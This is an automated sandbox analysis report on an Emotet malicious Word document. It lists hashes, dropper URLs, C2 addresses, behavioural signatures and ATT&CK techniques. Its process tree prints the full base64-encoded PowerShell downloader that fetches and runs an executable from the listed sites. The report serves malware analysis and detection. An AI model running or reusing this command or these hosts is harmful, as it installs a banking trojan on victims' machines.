emotet | f01b3323117582e282add297541e14c3b0d359ab03af884367f2d4c562750425

General

Target

emotet_e2_f01b3323117582e282add297541e14c3b0d359ab03af884367f2d4c562750425_2020-07-29__013840._doc.doc
Size

175KB
MD5

86bda082b34f48b9d6d3e26262e6b465
SHA1

989d109900d6064873bc0d469f6585d9fe41475a
SHA256

f01b3323117582e282add297541e14c3b0d359ab03af884367f2d4c562750425
SHA512

8132ecd81d4a950c03933e2ce459a049c3739630918050bd8e264ca436d45473489ca42e4f4369f6ef7885970ae99144767f146195e620995184ce57c1530918

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://fishbitedesign.com/delete_me/aq_no3_pixel079b/

exe.dropper

http://floridoweddings.com/wp-admin/1_fb_3rv7z6mr/

exe.dropper

http://floydswoodshop.com/floydswo/nn_g5_0s/

exe.dropper

http://fmcav.com/images/tihvt_5d_3znqq/

exe.dropper

http://goharm.com/wp-content/plugins/classic-editor/7b_k5_bo4lrnbmo6/

Extracted

Family

emotet

C2

76.27.179.47:80

212.51.142.238:8080

189.212.199.126:443

61.19.246.238:443

162.154.38.103:80

91.211.88.52:7080

83.110.223.58:443

124.45.106.173:443

116.203.32.252:8080

109.117.53.230:443

5.196.74.210:8080

75.139.38.211:80

168.235.67.138:7080

176.111.60.55:8080

169.239.182.217:8080

74.208.45.104:8080

31.31.77.83:443

222.214.218.37:4143

37.139.21.175:8080

91.205.215.66:443

rsa_pubkey.plain

Signatures

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1940-9-0x0000000000560000-0x000000000056C000-memory.dmp	emotet
behavioral2/memory/3028-12-0x0000000000650000-0x000000000065C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
1940	227.exe
1940	227.exe
3028	FirewallAPI.exe
3028	FirewallAPI.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3912	powersheLL.exe
3912	powersheLL.exe
3912	powersheLL.exe
3028	FirewallAPI.exe
3028	FirewallAPI.exe
3028	FirewallAPI.exe
3028	FirewallAPI.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3912	powersheLL.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	3912	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1940	227.exe
3028	FirewallAPI.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 3028	1940	227.exe	78
PID 1940 wrote to memory of 3028	1940	227.exe	78
PID 1940 wrote to memory of 3028	1940	227.exe	78

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ETWCoreUIComponentsResources\FirewallAPI.exe	227.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3980	WINWORD.EXE
3980	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3912	584	powersheLL.exe	66

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f01b3323117582e282add297541e14c3b0d359ab03af884367f2d4c562750425_2020-07-29__013840._doc.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:3980

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4ATABWAE4AaQBmAHoAPQAnAEoAQgBXAE4AUQBpAGUAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAYABpAGAAVABZAFAAUgBPAHQAbwBjAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEcATQBCAFcASQBtAGsAawAgAD0AIAAnADIAMgA3ACcAOwAkAFYAWABZAEUARgB3AHcAcQA9ACcASQBUAEUASwBVAHUAdgBsACcAOwAkAE0AUwBSAEsASgB1AGQAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARwBNAEIAVwBJAG0AawBrACsAJwAuAGUAeABlACcAOwAkAFEARgBKAEUASwBoAHQAdAA9ACcAVABXAFMAUwBFAGcAbABwACcAOwAkAFcAQgBWAE0ASABqAHAAeQA9AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwAaQBlAG4AdAA7ACQARgBHAFQASABBAGEAZABkAD0AJwBoAHQAdABwADoALwAvAGYAaQBzAGgAYgBpAHQAZQBkAGUAcwBpAGcAbgAuAGMAbwBtAC8AZABlAGwAZQB0AGUAXwBtAGUALwBhAHEAXwBuAG8AMwBfAHAAaQB4AGUAbAAwADcAOQBiAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHIAaQBkAG8AdwBlAGQAZABpAG4AZwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAxAF8AZgBiAF8AMwByAHYANwB6ADYAbQByAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHkAZABzAHcAbwBvAGQAcwBoAG8AcAAuAGMAbwBtAC8AZgBsAG8AeQBkAHMAdwBvAC8AbgBuAF8AZwA1AF8AMABzAC8AKgBoAHQAdABwADoALwAvAGYAbQBjAGEAdgAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwB0AGkAaAB2AHQAXwA1AGQAXwAzAHoAbgBxAHEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAGgAYQByAG0ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYwBsAGEAcwBzAGkAYwAtAGUAZABpAHQAbwByAC8ANwBiAF8AawA1AF8AYgBvADQAbAByAG4AYgBtAG8ANgAvACcALgAiAFMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwBJAEcAWgBSAHIAcwBxAD0AJwBGAFIAQgBUAFUAeABrAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAQgBRAFUARgBpAHcAeQAgAGkAbgAgACQARgBHAFQASABBAGEAZABkACkAewB0AHIAeQB7ACQAVwBCAFYATQBIAGoAcAB5AC4AIgBkAE8AVwBOAEwAbwBhAGAAZABGAGAAaQBgAGwAZQAiACgAJABGAEIAUQBVAEYAaQB3AHkALAAgACQATQBTAFIASwBKAHUAZAB2ACkAOwAkAFAAUQBOAFIASwBtAG8AZAA9ACcAVQBQAE8AWABaAGYAZQB0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBTAFIASwBKAHUAZAB2ACkALgAiAGwARQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAyADEAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAYABlAGEAdABlACIAKAAkAE0AUwBSAEsASgB1AGQAdgApADsAJABRAE4AUwBMAFQAbgBvAGMAPQAnAEEAQwBWAEkAUwBnAHYAeQAnADsAYgByAGUAYQBrADsAJABMAFkAVQBMAE8AeAB5AGEAPQAnAEgAUwBXAE8AQQB1AHgAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEYAVQBEAFYAagBoAGQAPQAnAFkASABXAFIARABnAGIAaQAnAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
PID:3912

C:\Users\Admin\227.exe
C:\Users\Admin\227.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:1940
- C:\Windows\SysWOW64\ETWCoreUIComponentsResources\FirewallAPI.exe
  "C:\Windows\SysWOW64\ETWCoreUIComponentsResources\FirewallAPI.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  PID:3028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1940-9-0x0000000000560000-0x000000000056C000-memory.dmp

Filesize
48KB

Download
memory/3028-12-0x0000000000650000-0x000000000065C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads